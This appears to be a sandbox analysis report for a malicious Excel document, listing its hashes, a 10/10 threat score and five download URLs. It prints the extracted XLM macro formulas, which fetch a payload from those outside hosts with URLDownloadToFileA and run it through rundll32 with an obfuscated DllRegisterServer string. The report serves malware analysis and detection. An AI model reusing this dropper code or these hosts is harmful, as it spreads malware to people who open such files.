d4d3ecd29a7da57cc1f4caf4d25fef5cb71687a550d5b6ef1dd5c4f008991430

General

Target

d4d3ecd29a7da57cc1f4caf4d25fef5cb71687a550d5b6ef1dd5c4f008991430
Size

68KB
Sample

241120-dqw1rsyrhw
MD5

66155453bc2c2705ae7f4867eebcf1cf
SHA1

0590cf2472338fb6a6ba16a8455c2ac2a3bcf14e
SHA256

d4d3ecd29a7da57cc1f4caf4d25fef5cb71687a550d5b6ef1dd5c4f008991430
SHA512

5330c9e9964c57a0ab4cb913640e7ecba4175f1bdd890f40854013d778d4387e39f1fc5ce98ba3ee1b016f99884c5593dd98be981b6716afbb5a975edd98e2d1
SSDEEP

1536:8skrrXj9XcQJ7daX5Ie48VAC4JdUxVVGU4:8skHj9J7dapIH8GCqd4yz

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://cableequipmentmanagementreturns.com/wp-admin/JPivizxmiwo9A5Owys/

http://novawedevent.com/tmp/PA0rBwFszIpy/

https://www.altasolutions.asia/myfiles/myB984EnOlSJJ4b9/

https://www.sanskriticreations.net/wp-admin/iGdDEvnMusgGlIoaR/

http://kiwibeautyhouse.com/wp-includes/js/tinymce/themes/qzutpR1kPAPp54/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://cableequipmentmanagementreturns.com/wp-admin/JPivizxmiwo9A5Owys/","..\iix.ocx",0,0) =IF('EFEWFWXV'!C15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://novawedevent.com/tmp/PA0rBwFszIpy/","..\iix.ocx",0,0)) =IF('EFEWFWXV'!C17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.altasolutions.asia/myfiles/myB984EnOlSJJ4b9/","..\iix.ocx",0,0)) =IF('EFEWFWXV'!C19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.sanskriticreations.net/wp-admin/iGdDEvnMusgGlIoaR/","..\iix.ocx",0,0)) =IF('EFEWFWXV'!C21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kiwibeautyhouse.com/wp-includes/js/tinymce/themes/qzutpR1kPAPp54/","..\iix.ocx",0,0)) =IF('EFEWFWXV'!C23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\iix.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://cableequipmentmanagementreturns.com/wp-admin/JPivizxmiwo9A5Owys/

xlm40.dropper

http://novawedevent.com/tmp/PA0rBwFszIpy/

xlm40.dropper

https://www.altasolutions.asia/myfiles/myB984EnOlSJJ4b9/

xlm40.dropper

https://www.sanskriticreations.net/wp-admin/iGdDEvnMusgGlIoaR/

xlm40.dropper

http://kiwibeautyhouse.com/wp-includes/js/tinymce/themes/qzutpR1kPAPp54/